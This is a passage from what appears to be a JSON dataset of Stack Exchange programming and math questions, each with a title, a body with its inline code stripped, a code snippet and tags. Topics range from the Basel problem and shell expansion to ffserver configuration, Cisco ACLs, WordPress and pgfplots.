methods to compute $\\sum\\limits_{n=1}^\\infty \\frac{1}{n^2}$\nDoes $\\sum\\
limits_{k=1}^n 1 / k ^ 2$ converge when $n\\rightarrow\\infty$? \n\nI read my book
of EDP, and there appears the next serie\n$$\\sum _{k=1} \\dfrac{1}{k^2} = \\
dfrac{\\pi^2}{6}$$\nAnd, also, we prove that this series is equal $\\frac{\\pi^2}
{6}$ for methods od analysis of Fourier, but...\nDo you know other proof, any more
simple or beautiful?\n", "", "sequences-and-series"], "2807178": ["How does the
shell filename expansion delimit items within a ( * ) list?", "I don't understand
shell expansion fully yet (hopefully, one day soon I will)...\nI saw this comment
to a superuser question, but I think I'm still parked at the kerb... \n\nUsing
Linux without the shell is like driving a Ferrari at 50 km/h through city traffic.
All fun will just go away ... \n\nI don't understand the following example.. What
heirarchy, or whatever, is causing the 2nd example \"array item count:\" to be
different to the 1st example? \nWhat happened to the shell introduced \"space\"?.
or is it the which is introducing the space, and the shell is (perhaps) using \\0?
\n\n", "echo", "bash shell"], "609133": ["NSDate to NSTextField without string
Formatting?", "I want to write the value of a NSDate into a NSTextField but I don't
want to format the NSDate into NSString first. The user interface already has an
NSDateFormatter object in place and place and it worked fine already when the field
was bound to the NSDate. \nBut now we can't use binding anymore and need to set the
Textfield value manually. But we still want to use the NSDateFormatter.\nFor me it
seems like this can not be done. All the samples I found convert the NSDate into a
string first before sending it to the TextField. Also if I do it like that I need
to convert back the date after the user entered a new value.\nHow can I do this? \
n", "", "nsdate nsdateformatter"], "1840581": ["How to find similar polynomials to
satisfy certain boundary conditions on derivatives", "Good afternoon mathematics
members. I have one problem with polynomial functions.\nFor these functions, I need
to find similar like in attachment. Derivative in start and end point and boundary
conditions must be the same. It is possible to change the order of polynomial. In
point which I fix, functions must have maximum or minimum.\nfunction1 \n$$1/8 -
x^2/4 + x^4/8 ,[x, -1, 1]$$\nfunction2\n$$-(1/2) + x^2/2, [x, -1, 1]$$\nfunction3\
n$$-(1/48) + (3 x^2)/16 - (5 x^4)/16 + (7 x^6)/48, [x, -1, 1]$$\nOr in code form\n\
nHow to make new 3 like in attachment. Function of (x,a), to see the polynomial
exact \nhttp://www.2shared.com/photo/psxoii8b/test_functions1.html\nSo I need the
boundaries in -1 and 1 to be the same and derivatives also for new 3 functions.\nIt
is important just on the segment to satisfied that.\n", "Print[\"function1 \"]\
nPlot[1/8 - x^2/4 + x^4/8, {x, -1, 1}]\nPrint[\"function2 \"]\nPlot[-(1/2) + x^2/2,
{x, -1, 1}]\nPrint[\"function3 \"]\nPlot[-(1/48) + (3 x^2)/16 - (5 x^4)/16 + (7
x^6)/48, {x, -1, 1}]\n", "calculus functions polynomials mathematica"], "5947327":
["UIImagePickerController won't record a video", "I want to record a video with .
My Problem is that the method always returns 0. I am testing the
application with an iPhone 4S running iOS 5.1. Could somebody please help me with
this:\n\n", "UIImagePickerController", "objective-c ios cocoa-touch ios5
uiimagepickercontroller"], "3259331": ["How to put Facebook button on homepage
(loop) while still having them fetching permalinks of specific post (not URL of
homepage)", "Here\u2019s a problem. It\u2019s quite easy to add Facebook \
u201clike\u201d button to a post when the post is displayed in single view (via its
permalink or permanent URL). If the Facebook Open Graphic Protocol and the
appropriate metadata in the right place, when the \u201clike\u201d button is
clicked, Facebook will scrape (or fetch or harvest) the correct information: the
permalink or this single post, the title of the post, etc.\nNow, if the \u201clike\
u201d button was to be added not only in single view, but within the loop itself,
that is if it were to be displayed under each blog posts on the homepage of the
Wordpress blog, things get a little more complicated. For one thing, how can we
make it so when a visitor browse the homepage a click a given \u201clike\u201d
button displayed under a specific post, Facebook fetch the correct permalink of
this specific post, and not the URL of the whole blog (of the homepage). \nI\u2019m
using a child theme, so this integration would happen within the file.\nAlso, it\
u2019s quite easy to do this with the Twitter button, but then again, the Twitter
button is much more simple than the Facebook button.\nWith Twitter, I would add the
code right after the blog entry and use to fetch the permalink of this specific
entry.\nWith Facebook, the metadata are supposed to be inserted in the of a web
page. \nThanks,\nP.\n", "function.php", "permalinks facebook homepage"], "4476114":
["Need to debug db_insert but no error given", "I have a custom module in a D7
installation.\nIn the submit function I'm doing the following:\n\nAfter executing
the code, I get no errors in the error log, and the sites returns the
standard \"This website has encountered an error\".\nDoes anyone have idea how I
can debug this? I tried a try catch block but that didn't return anything. \
nThanks,\n", "my_custom_block_get_form_submit($form, &$form_state) {\n\n$d =
db_insert('db_launch')\n->fields(array(\n'uniq' => $uniq\n))\n->execute();\n", "php
database drupal-7 drupal-modules"], "705282": ["$.live() and $.die() binding and
unbinding", "I am having some trouble with jquery's live and die
methods.\nhttp://jsfiddle.net/fC5Nr/4/\nI need to attach an event handler to
clicking a link - and I want to unbind the handler while the function is running to
prevent the function running over and over before it is complete (function is
performing a ajax request then handling the response.\nI can do all of the above
just fine.\nHowever, because the above handler is attached to a (a) tag I need to
return false (to prevent the link from being followed). To do this I need to bind a
different function to handle clicks and return false.\nI need to know how to unbind
my complicated function - while keeping my simple (return false) bound at all
times.\nThe above fiddle should work, but after unbinding the event handler, it
doesn't bind again? I've tried a few combinations of namespacing etc but cannot get
this together.\nThanks\n", "", "jquery events live handling die"], "1850702":
["Dynamically set binding in data-bind", "In knockout.js we have a basic example
with the most basic text binding:\n\nThis is straight from tutorial
http://knockoutjs.com/documentation/text-binding.html\nWhat if I want to have a
variable that defines the actual binding property. That could look something like
this:\n\nAbove code is obviously wrong, but what would the correct case be?\nI was
looking into some stuff like ko.applyBindingsToNode ( Can I dynamically bind
element inside custom binding? ) but the Google FU is totally failing me this time,
because most of the thing I find is applying bindings to dynamically built elements
and not apllying dynamic binding types dynamically.\n", "Today's message is: <span
data-bind=\"text: myMessage\"></span>\n\n<script type=\"text/javascript\">\n var
viewModel = {\n myMessage: ko.observable() // Initially blank\n };\n
viewModel.myMessage(\"Hello, world!\"); // Text appears\n</script>\n", "javascript
knockout.js"], "5661337": ["Creating a template predicate class requiring a pointer
to method function, and ensuing compiler errors", "I'm building a series of
predicates that duplicate lots of code, and so are being changed into a single
template function class based on the . The idea is that my class interface requires
methods such as and to be defined, so the predicate template arguments are the
object type and a value type to which comparison will be made as follows:\n\nThus,
if I have:\n\nI would like to perform a search on a container of s and check for
either the or equality using my template predicate like so:\n\nbut compiling this
returns the following error on the line:\n\nAlso, trying to form the same
predicate for a check of the as such:\n\ncreates a different error!\n\nFirstly, am
I reinventing the wheel with this predicate? Is there something in the STL that
I've missed that does the same job in a single class? I can always break the
predicate down into several more specific ones, but I'm trying to avoid that.\
nSecondly, can you help me with the compiler errors?\n", "std::unary_function", "c+
+ templates function-pointers predicate"], "3615158": ["Transparent rounded corners
in PHP", "Is it possible to create transparent corners for an image on fly with
PHP? I think that it would be possible, but I am missing a function that would
preserve alpha values when you copy your image.\nMy idea was to create an image of
same width and height, then apply transparent corners, but then I need to preserve
the alpha channel and just copy image on that mask, leaving transparent still
transparent, but colors changed to copied
image (or vice versa, put mask on image).\nIs it possible to do that and what are
commands for that if there are any?\nUpdate: Thanks for helping with this. It was
some time ago, and I forgot but if anybody cross this question to find a solution
just visit this one: http://www.pc-siete.g6.cz/galery.html . I made functions for
gradient, radial gradient and also those rounded corners so feel free to use :) .
I'm not really using it on my webstie, but it's good to have them prepared. \nFor
some reason the downloaded file had just ad in it. Now it's stored inside zip and
downloads properly.\n", "", "php png transparent rounded-corners"], "608030": ["How
to stream video from webcam to network with ffmpeg?", "I'm trying to stream h264
video from my Logitech C920 webcam.\nI'm using such ffserver.conf:\n\nAnd I'm
starting ffmpeg like this:\n\nBut in the output there is:\n\nAny suggestion how not
to do transcoding and stream the video directly?\n", "Port 8099\n\nNoDaemon\n\
nBindAddress 0.0.0.0\n\n\nRTSPPort 5004\nRTSPBindAddress 0.0.0.0\n\nMaxClients 10\
n\nMaxBandwidth 10000\n\nCustomLog -\n\n\n<Feed feed1.ffm>\n File
/tmp/feed1.ffm\n FileMaxSize 20M\n</Feed>\n\n<Stream viewport1>\n
Feed feed1.ffm\n Format rtp\n VideoCodec libx264\n
VideoFrameRate 15\n VideoBufferSize 40\n VideoBitRate 3000\n
VideoQMin 1\n VideoQMax 31\n VideoSize 640x480\n PreRoll 0\n
NoAudio\n Strict -1\n</Stream>\n\n<Stream stat.html>\n Format status\
n</Stream>\n\n<Redirect index.html>\n URL http://ffmpeg.sourceforge.net/\
n</Redirect>\n", "video ffmpeg streaming"], "4795680": ["Restoring SVN repository
from backups", "I have been using Doug Hellmann's script to back up my repo for 2
years now, and I eventually lost my server hard drive. So I created a brand new
repo on another machine, and attempted the restore command, which is:\ngunzip -c |
svnadmin load /home/svn/myproject\nOnly it doesn't work. It gives the response\n<<<
Started new transaction, based on original revision 917\nsvnadmin: File not found:
transaction '0-1', path 'MineSweeper2/src/com/bytezone/minesweeper2/Game.java'\n
* editing path :
MineSweeper2/src/com/bytezone/minesweeper2/Game.java ...denis@ubuntu-lianli:~/SVN
backups$\nCan anyone explain what is wrong here? I have all the incremental backups
ever made, surely this is the simplest case scenario.\nIncidentally, is it possible
to condense the dozen or so backup files into a single file before attempting the
load?\n", "ls -tr dump*", "svn restore"], "4192673": ["Panel Background Image
Repetition C#", "I want to place an image in a panel, but I do not want it repeated
according to the size of the panel.\nWhat I did is this:\n\nHowever, picture1 is
repeated several times, since the panel is much wider than the actual picture.\
nWhat I want is to display the picture in its original form only. I don't want it
repeated.\nHow can I do this? Thanks\n", "panel3.BackgroundImage = picture1;\n",
"c# panel picture repeated"], "4065895": ["Preventing Multiple Decimal Points",
"I'm not a computer science person and I'm trying to figure out how to prevent a
user from entering in more than one decimal point. For example, how do I stop
someone from entering 3..5?\n", "", "regex decimal"], "4039880": ["Using LaTeX
Beamer to display code", "I'm using the following LaTeX code in a Beamer
presentation:\n\nIs it possible to select specific lines from my get_extent.py file
rather than displaying it all?\n", "\\begin{frame}\n \\begin{figure}\n \\
centering\n \\tiny\n \\lstset{language=python}\n \\
lstinputlisting{code/get_extent.py}\n \\end{figure}\n\\end{frame}\n", "python
latex beamer"], "888870": ["Make array results in different divs in smarty", "I am
using smarty as my template engine . I have a php result assigned to smarty .\nIf
I am writing \n\nit shows the result in a line . But our designer used different
divs to show the result .\n\netc . Show I want to know how can I display results in
this form . I think I can use since numer of fields are fixed in each
column(6) . \n", "$sac", "php foreach index smarty"], "2402764": ["jQuery +
Javascript: Consolidate duplicate functions between document.ready and ajax load",
"I am using the ajaxify.js plugin https://gist.github.com/854622 to load content
dynamically.\nI have a number of functions that I bind on document ready, but have
to additionally put those functions inside of my ajax load function to re-bind the
click events to the newly added content. I had tried using a single set of
functions previously but they didn't work.\nAnyway I have the following code twice,
once inside of a and once again inside of ajaxify.js after the content loads.\nI
know it's superfluous, but I'm not sure of how to go about writing the functions
just once so I can \"include\" them elsewhere. How can I optimize these functions
so I can consolidate them and use them over again in an efficient manner?\nThank
you!\n\n", "click", "javascript jquery ajax consolidation"], "3951998": ["I want
only my sub-pages to be clickable in the navbar", "I am building a simple website
with a number of pages, each of which is grouped.\nLet's say my website has roughly
20 pages, grouped into 5 categories. So I want my navbar to display the 5
categories, and each category, on rollover, displays the pages created under it.\
nNow since I am creating my pages as pages and not posts, I understand
that \"categories\" are not available. So I am creating them as sub-pages. And I am
creating each \"category\" as a page.\nMy problem: I only created these \"pages\"
for the purpose of grouping the \"sub-pages\" in the navbar. But none of
these \"pages\" are actual pages, so I don't want any of them to be clickable. What
I want is if someone clicks on the \"page\" itself in the navbar, they should be
taken to the first sub-page of that category (or page).\nI would be grateful for
any solutions.\n(Side note: This seems like an extremely common situation, and yet,
after hunting around for quite a while, I see nothing addressing the issue. I'm a
web programmer with over a decade experience, but a relative newbie to wp, and I
find this kind of situation repeating itself over and over.)\n", "", "pages sub-
menu"], "4985763": ["Multiple/repeating cases in a Java switch statement", "I would
like to know how Java handles multiple identical instances of the same case.\nI
think the following makes sense, conceptually:\n\nEssentially, I would like to have
a chunk of code executed for either case 1 or 2 (using fall-through), but then
later on, have a chunk of code only executed for case 2.\nRather, is the following
necessary, instead?\n\nMy actual code is more complex, but would use the same
principle (i.e. something like \"case 1: nope; alright... case 2: yep! execute this
code!; case 3: nope; case 1 again?: still nope!; case 2 again?: yep! execute this
code; no more cases: All Done!\")\n", "switch (someIntegerValue)\n{\n case 1:\n
case 2:\n DoSomethingForBothCases();\n break;\n case 3:\n
DoSomethingUnrelated();\n break;\n case 1:\n
DoSomethingForCase1ThatReliesUponExecutionOfTheEarlierFunctionCall();\n
break;\n case 2:\n
DoSomethingForCase2ThatReliesUponExecutionOfTheEarlierFunctionCall();\n
break;\n}\n", "java switch-statement multiple-instances"], "4371196": ["android
gallery widget infinite scroll", "\nPossible Duplicate:\nHow to implement an
endless gallery in Android? \n\ndoes anobody know how to make a gallery using the
gallery widget instead of having edges let you cycle indefinitly.\n", "", "android
android-widget"], "4818895": ["How to embed a link in a UITextView for the iphone",
"I'm wondering if it is possible to put a hyperlink in a UITextView that will open
up safari and take the user to a web page. And if so how can I accomplish this. \
nThanks in advance for your help.\n", "", "iphone safari uitextfield hyperlink
uitextview"], "23735": ["Should the Client call the Server or should the Sever call
the Client? What do I miss?", "How do I merge/connect my two working code parts? (I
use , , , ).\n1)\nI can write some shapes to my , from some hardcoded values. I do
this from a function onto my (This part works). But I want to give this function
an array to work with. (I need this. Can this function call the so it get
returened the arrray? Or should this function be called from ).\n2)\nI have an ,
that can trigger a method that can return the needed array.\nI'm missing
a \"link\" here, so the arrray is \"carryed\" over to the function. \nIs this
possible? \nIs it up to the funktion to call the ? Or is it the other way around,
so from my function i ask for the array from the somehow?\nThis Client/Server
part is confusing. I don't know any best practices here.\n\nI'm rewriting my
ASP.NET website that have an four-on-a-row game, and 7 buttons for each of the
columns. The button trigger an C# method that do something and the used an .ashx
handler to return a bitmap i used in C# to set an Image on the html.\nNow I'm
trying to use HTML5 and the canvas instead. I have the C# method that knows how the
board should look like.\nRecently I just made some Shapes on a HTML5-Canvas from
Javascript. I just don't know how I can put these two working things together.\n",
"HTML5-Canvas", "c# javascript asp.net client html5-canvas"], "5317553": ["Changing
WordPress sort order for returned child pages", "I have a custom that looks like
this:\n\nMy problem is that when using the parameter (see here:
http://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters)
to sort by (which I need to do for the project). The sort order is not working.\
nI'm 99% certain the reason it's not working is because I'm directing it to query
all children of a specific post and the
parameter doesn't \"dig that deep into the query\" if that makes sense to anyone.
\nCan anyone offer some help? doing this (the expected solution yields nothing):\
n\n", "WP_Query", "custom-post-types query loop order"], "4858917": ["jax-rs :
parse the ArrayList from Java using JQuery", "I have an ArrayList returned from my
CXF Rest service, but I am unable to parse it to display the details on the client
side using JQuery.\nAppreciate any help\nthanks,\nBob\n\n", " **Sample Code:**\n
This is how my code looks :\n @GET\n @Path(\"/{id}\")\n
@Produces(\"application/json\")\n public Response getDetails(@PathParam(\"id\")
Long id) {\n\n // data is retreied from database.\n\n List<UserBO> userBOList
= new ArrayList<UserBO>();\n Response response = Response\
n .status(Response.Status.OK)\n .entity(userBOList)\n .build();\n
return response;\n }\n\n
===================================================================\n My
Javascript code:\n\n var url = \"http://localhost:8080/user/1\";\n\n $
(\"#submit\").click(function(){\n\n $.ajax({\n type: \"GET\",\n url:
url,\n beforeSend: function(xhrObj){\n
xhrObj.setRequestHeader(\"Origin\",\"null\");\n },\n
contentType : \"application/json\",\n dataType : \"json\",\n\n success:
function(data) {\n alert( \"Data Saved : \" + data );\n }\n\n
});\n\n });\n", "jquery jax-rs"], "5189582": ["Re.search of Dates with backslash
characters in the format", "I will say thanks in advance for any assistance and say
that I have tried to search online for a solution.\nI'm running Python 2.7.\nI'm
trying to use re.search to match a date in the format . If I modify the format
slightly to , I'm successful. I've had no luck with examples that Include the
backslash. I recognize that backslashes are special and must be \"escaped\".\nI've
tried the following:\n\nAgain, any assistance will be greatly appreciated.\nLiam\
n", "mm\\dd\\yyyy", "python python-2.7 python-2.x"], "4227266": ["Stored Procedure
Usage in Adobe LiveCycle ES", "We have a number of stored procedures in production
that we would like to use with LC. I reviewed the JDBC types and I don't see any
way to get LC to accept the results of a call to a stored procedure, the stored
procedure service only has an output for the number of rows affected. In fact the
only JDBC service I see that even handles results from a data base is the Multi
Query XML one.\nIs it possible to use stored procedures that return actual results
in LC and if so how?\nUPDATE:While it doesn't look like it's supported directly in
LC it is possible to call a Stored Procedure from the XML Query activity. Check
out the comment below.\n", "", "stored-procedures adobe"], "2149744": ["Debian
crashed, file system is read-only and cannot backup - How Do I find/mount a USB
drive?", "We have a Debian server (vm's) here at work and the server crashed after
a power failure. I can only boot the system in maintenance mode, and the whole file
system is set to read only. I can run fsck though maintenance mode, however I would
like to get a backup of some files before I do. Problem: I cannot access the net
since there is no network connectivity in maintenance mode, and for some reason I
try to add a USB flash drive to the computer but I can't find it through the
console.\nQuestion: how to you find/mount a usb drive on Debian? I have tried
several resources from the internet but nothing worked. \nIs there any other way I
could get a backup of my files? I cannot start networking since the filesystem is
set to read only.\nAny help would be appreciated. \n", "", "debian filesystems
server-crashes read-only"], "5978867": ["Possible to run OpenCL program at low
priority (be \"nice\")?", "I have an OpenCL Windows program that does heavy number
crunching and happily consumes 100% of the GPU. I'd like to be able to run it in
the background while using the computer normally, but right now it causes
considerable desktop lag and makes any 3d application unusable.\nIs there a way to
set a priority in OpenCL so that it will yield GPU power to other processes and
only use spare cycles? \n", "", "windows opencl"], "913069": ["Cisco IOS ACL
types", "The built in command help list displays access list types based on which
range.\n\nWhat are each of the types? Can multiple types of ACLs be applied to a
given interface?\n", "router1(config)#access-list ? \n <1-99> IP
standard access list\n <100-199> IP extended access list\n <1100-1199>
Extended 48-bit MAC address access list\n <1300-1999> IP standard access
list (expanded range)\n <200-299> Protocol type-code access list\n <2000-
2699> IP extended access list (expanded range)\n <700-799> 48-bit
MAC address access list\n dynamic-extended Extend the dynamic ACL absolute timer\
n rate-limit Simple rate-limit specific access list\n\nrouter1(config)#\n",
"cisco acl ios"], "3152089": ["How to host a web service so other clients connected
to same network can access", "I am hosting web service in a one machine using
Visual studio 2008. I tried accessing the web service from a web site i created in
the same solution and it was successfully called. Now i want to access the web
service from a remote client. \nI initially developed the web service to used in an
android application. As you can see if I wan to access the web service I will have
to host is with a static IP. So at least to test the application i want access the
web service from the android mobile by connecting both server and android mobile to
one wifi network. For the initial test I connected two laptops(one is server) to
the wifi router. And i pingd the server from the client machine and it got
successfully pingd. But when i try to access the web service with given port from
the browser it wont allow me to connect. I tried by replacing the localhost with
ip of the server and also i tried making a small web site(asp) and try to access it
from the client via IP. Both did not work. I have searched here and on web could
not find a proper answer. for,\n\nhow to host a webservice so other clients in the
same network can access..? \ncan it be fulfilled with VSD server..?\nis it
compulsory to use iis..?\nHow should i achieve this..?\n\n",
"http://localhost:26796/", "c# asp.net web-services web hosting"], "4476117":
["Smallest possible complete set of source and batch files to build a CUDA app via
command--line?", "Assume:\n\nWindows 7 OS\nVisual Studio Express 2010 SP1 just
installed (and not modified with any or whatever)\nCUDA SDK installed\nGPU
computing SDK installed\nclean/empty environment variable set (so, we need to run
vcvars and whatever..)\n\nCorrect answer provides then:\n\nbatch file contents\
nsource (and project, if needed) file contents (including at least one file to be
acually utilized)\n\n(Answering the inevitable \"Why are not you..\" comment)\nThe
default setup does work not for me already, and my choice is to try the way this
question is about.\n(Extra ranty question)\nOr is this not possible at all and we
are doomed to explore GUI checkboxes brute-force-style?\nAnyone? :)\n", "*.rules",
"visual-studio-2010 command-line build cuda"], "5585144": ["Android sendevent is
really slow - how do Is speed it up?", "I am doing some ui automation, and I am
able to store screen touches using getevent, but when I try to send this using
sendevent, it takes a really long time, making it hard to actually replay the
inputs.\nI have already trying loading the script onto the device and running the
script locally on the device (a script with a bunch of sendevent commands). But
this only imporved this slightly. Is there some other way to inject these commands
in a quicker way?\n", "", "android user-interface automation adb"], "4249887":
["PHP Dropdown menu", "\nThis is a snippet of code for getting the dropdown menu in
the page.\nI have a database named portal and table named tags with tag_name as the
attribute.\nDo help me to find the error in the program.\nI am not getting the
tag_names in the dropdown menu\n", "<br><h2>Select a Tag</h2></br>\n\n<?php\n\n$con
= mysql_connect(\"localhost\",\"root\",\"\");\nif (!$con)\n{\ndie('Could not
connect: ' . mysql_error());\n}\nmysql_select_db(\"portal\", $con);\n\n$query
= \"SELECT tag_name FROM tags\";\n$result = mysql_query($query);\n\n?>\n<select
name=\"tag_name\" id=\"abc\">\n<option size=30 selected>Select</option>\n<?php\
nwhile($array = mysql_fetch_assoc($result)){\n?>\n<option value =\"<?php echo
$array['tag_name'];?>\"><?php echo $array['tag_name'];?> \n</option>\n <?php\
n\n}\n?>\n</select> <br><br>\n", "php web"], "3492487": ["UIViewController
localization problem (duplicate symbol _OBJC_IVAR_$_)", "I have too much problem
with the localization process in XCode4:\nAfter I localize a UIViewController with
the File Inspector and add French and English for example, I always got some errors
that said that the Instance or file are duplicated, e.g.\n\nAny idea for one of the
2 problems?\n", "duplicate symbol _OBJC_IVAR_$_....\n", "objective-c iphone-sdk-4.0
localization xcode4"], "4373045": ["Revision control of data inside Lightswitch",
"I'm developing a Lightswitch application that will be accessed by different users.
Some background info..\nWhen a user make some changes to one or multiple rows
he/she should be able to save those changes to a \"temp file\", without the main
data being affected. Like if you're working with an Excel document and
choose \"Save as\", the original file will still be there. The app should be able
to handle multiple of those \"savings\". Then the user can open of of
these \"savings\" and apply them to the main database.\nMy plan to accomplish this
is to have multiple rows for the same data and having columns with user data,
revision etc. Tho my main concern here is how to let the user choose
which \"saving\" to open when entering the application and then filter out the
correct data. Do I need to do a custom control to accomplish this, anyone that
could give me some opinions? Kinda new in the Lightswitch area.\nThanks\n", "",
"version-control visual-studio-lightswitch revision-history"], "5597712":
["Allowing user to restart bluetooth on linux", "I'm using bluetooth on linux to
access internet via dialup from my Nokia S60 phone. I've gotten the connection to
work just fine, but there's still one recurring problem:\nSome Nokia S60 phones,
mine included, have the habit of changing the channel they offer their Dial-Up
Networking service on. One day it's 2, the next day it may be switched to 9. For
linux, this means that each time it happens I have to go edit the to contain the
right channel and then use \"\" to reboot the bluetooth service.\nI've created a
script to do all this for me, and granted edit rights to the - but restarting the
bluetooth service still needs super-user rights. I'd rather not have to type my
password every time the phone feels a need to juggle channels, so:\nHow do I grant
the user access to restart the bluetooth service? Preferably without breaking too
much of my access control - so granting the user full root-level access is not a
solution. :)\n", "/etc/bluetooth/rfcomm.conf", "linux permissions bluetooth"],
"1475707": ["Exposing a WebServer behind a firewall without Port Forwarding", "We
are deploying web applications in java using tomcat on client machines across the
country.\nOnce they are installed, we want to allow a remote access to these web
applications through a central server, but we do not want our clients to have to
open ports on their routers.\nIs there a way to tunnel the http traffic so that
people connected to the central server can access the web applications that are
behind a firewall ?\nThe central server has a static ip address and we have full
control over it.\nRight now, it is a windows box but it could be changed to a linux
box if necessary.\nOur clients are running windows xp and up.\nWe don't need to
access the filesystem, we only want to access the web application through a
browser.\nWe have looked at reverse ssh tunneling but it shows scaling problem
since every packet would have to pass through the central server.\n", "", "ssh
firewall http nat tunneling"], "3510521": ["Using SqlBulkCopy, how do I insert data
into a table in a non-default database schema?", "I need to insert data into a
table in a schema named using .\nIt appears the API only allows you to set the
target table name by using the property.\nHow do I accomplish this? Is it
possible?\n", "Staging", ".net schema sqlbulkcopy database-schema"], "2724165":
["EF 4.1: Different ModelHashes when Running on Build Server VS Dev Server", "I am
running some unit tests against the exact same binaries on my Build server, and on
my Dev Server. Some of my tests write to the DB, so when I check in, if needed,
the DB gets rebuilt by the EF. This has worked great for months. Today we noticed
that when we fire up the App in Dev, EF again tries to rebuild the database. I
realized after some investigation that the DB tear-down and rebuild on the Build
box is creating a DB with one hash, and the DB rebuild from the Dev server is
creating a DB with another (different) hash.\nBoth environments are running against
the same database. It would not make much difference except that my build server
also deploys a couple of stored procedures. These stored procedures get blown away
when the Dev server fires up and drops the database. \nHowever, there is a broader
issue here, since I clearly don't understand what affects the ModelHash in the
EdmMetadata table. I thought it was based on the actual binaries, but it has to be
more than that. I am running the exact same binaries on both machines.\nWhen the
different enviornments create the database, these are their ModelHash:\n\nNote that
my local machine and the build box match. This is completely repeatable. Does
anyone know what might be going on here?\nThanks\n", "BuildBox: 3E..FA\nLocal:
3E..FA\nDev: 99..58\n", ".net entity-framework entity-framework-4.1"],
"608035": ["projective camera: back-projecting a point on the image plane into 3-
space", "suppose I got a projective camera model. for this model I would like to
back-project a ray through a point in the image plane. I know that the equation for
this is the following:\n$$\ny(\\lambda) = P^+_0 x_0 + \\lambda c_0 \n$$\nwhere
$P^+_0$\ndenotes the pseudoinverse of the camera matrix.\n$x_0$ the point on the
image plane and $c_0$ the center of the camera.\nNow I don't fully get this
equation. I get that $P^+_0 x_0$ results in a point on the line we are looking for.
Hence we have two points that we can use for constructing a line. However I don't
get the parametrization using $\\lambda$. Why is the equation not in the form
like:\n$$y(\\lambda) = (1-\\lambda) a + \\lambda b$$\nAny help in understanding the
original equation of the resulting ray would be appreciated! :D\n", "",
"geometry"], "1705151": ["Why try-catch statements must have { } in C#?", "\
nPossible Duplicate:\nSingle statement conditionals - why is the pattern not used
for other code blocks?\nC#: Why does Try-Catch require curly braces\n\nThis is kind
of a C# compiler/syntax question:\nWhy can't we have the following in C#:\n\
ninstead of \n\nIs it because that would make C# grammar ambiguous or something
like that? \nI'm just curious, because we can perfectly do:\n\n", "try\n
MethodCall() //Only one line here, of course\ncatch (Exception ex)\n //Do a one-
line action here\n", "c# compiler syntax grammar"], "5992519": ["How do you remove
a broken theme from WordPress Admin (without FTP or Cpanel)", "Is it possible to
remove a broken theme from WordPress using only the WordPress dashboard? i.e,
without using cpanel or FTP?\nBackground: When you are doing customer support, its
rare that you have access to the user's FTP or cpanel, but its pretty simple for
them to set you up as a temporary user to troubleshoot their site.\n", "",
"themes"], "4227264": ["Add one handler in terms of another?", "I have a tag with a
complex \"oninput\" handler, e.g.\n\nI want to add another handler that simply
calls that one. My initial though was that this would work:\n\nBut it doesn't. What
should I be doing? Thanks.\nEdit: I thought that onfocus=\"this.oninput\" would
copy the reference to the function, that's why I left off the parentheses for a
call.\n", " <input id=\"x\" type=\"text\" name=\"x\" \n
oninput=\"lotsofgeneratedcocde....\"/>\n", "javascript event-handling"], "1441474":
["Sectioning created via titlesec have wrong \\label", "I have created the
following custom sectioning using the titlesec package.\n\nWhy doesn't the label
contain the correct counter?\n", "% in the preamble\n\n\\newcounter{phase}\n\\
titleclass{\\phase}{straight}[\\section]\n\\titleformat{\\phase}{\\bfseries\\
sffamily}{Phase~\\thephase:}{1mm}{}\n\\renewcommand{\\thephase}{\\arabic{phase}}\n\
n\\newcounter{task}[phase]\n\\titleclass{\\task}{straight}[\\phase]\n\\
titleformat{\\task}{\\bfseries\\itshape}{Task~\\thephase.\\thetask:}{1mm}{}\n\\
renewcommand{\\thetask}{\\arabic{task}}\n\n\n% within the document\n\n\\
phase{Target selection and testbed preparation} % outputs Phase 1: Target selection
and testbed preparation\n\\label{sec:phase-selection}\n\n...\n\n\\
task{Identification of target systems} % outputs Task 1.1: Identification of target
systems\n\\label{sec:phase-selection:task-identification}\n\n\n% later on in the
document (ISSUE!)\n\nTask~\\ref{sec:phase-selection:task-identification} % outputs
Task 1 rather than Task 1.1\n", "sectioning cross-referencing titlesec"],
"2750923": ["Why is my twitter oauth access token invalid / expired", "I am using
Twitter to log users into to a website, which seems to be working up until I
attempt to obtain a valid Access Token.\n\nThis seems to be working correctly,
redirecting me to twitter to sign in and confirm access, after which it returns me
to tw_response.php (my Callback url), with the following variables in the url:\n\
nIn tw_response.php I then try to get the Access Token, but it reports as invalid.
I tried using to view the content of the access token as follows:\n\nThe result of
the ends in \"invalid / expired Token\":\n\n", "require(\"twitteroauth.php\");\
nrequire 'twconfig.php';\nsession_start();\n\n$twitteroauth = new
TwitterOAuth(YOUR_CONSUMER_KEY, YOUR_CONSUMER_SECRET);\n$request_token =
$twitteroauth->getRequestToken('http://****/tw_response.php');\n\n$oauth_token =
$request_token['oauth_token'];\n$_SESSION['oauth_token'] = $oauth_token;\n\
n$oauth_token_secret = $request_token['oauth_token_secret'];\
n$_SESSION['oauth_token_secret'] = $oauth_token_secret;\n\nif ($twitteroauth-
>http_code == 200) {\n url = $twitteroauth-
>getAuthorizeURL($request_token['oauth_token']);\n header('Location: '.$url);\n}
else {\n die('Something wrong happened.');\n}\n", "php twitter twitter-api
twitter-oauth"], "609132": ["Using pgfplots, how do I arrange my data matrix for a
surface plot so that each cell in the matrix is plotted as a square?", "I have a
matrix of size MxN and I want to make a surface plot directly from above so that
each cell in the matrix is drawn as a square. None of the pgfplots shaders really
do what I want, since they draw squares between the cells of the matrix (i.e. a 3x3
matrix ends up as 2x2 cells when plotted). The example hopefully makes it clearer:\
n\n\n\nHow do I arrange my data so that each cell in the matrix is drawn as a
separate cell in the output?\nEDIT: I realised after entering the question that the
answer is very simple, so I'll just answer this myself.\n", "\\
documentclass{article}\n\n\\usepackage{fullpage}\n\\usepackage{tikz}\n\\
usepackage{pgfplots}\n\\usepackage{pgfplotstable}\n\n\\pgfplotstableread{\n
0 0 0\n 0 1 1\n 0 2 2\n\n 1 0 3\n 1 1 4\n
1 2 5\n\n 2 0 6\n 2 1 7\n 2 2 8\n}\\data\n\n\\begin{document}\
n\\foreach \\shader in {interp, flat, flat corner} {\n\\begin{tikzpicture}\n\\
begin{axis}[\n title={\\texttt{\\shader}},\n title style={\n
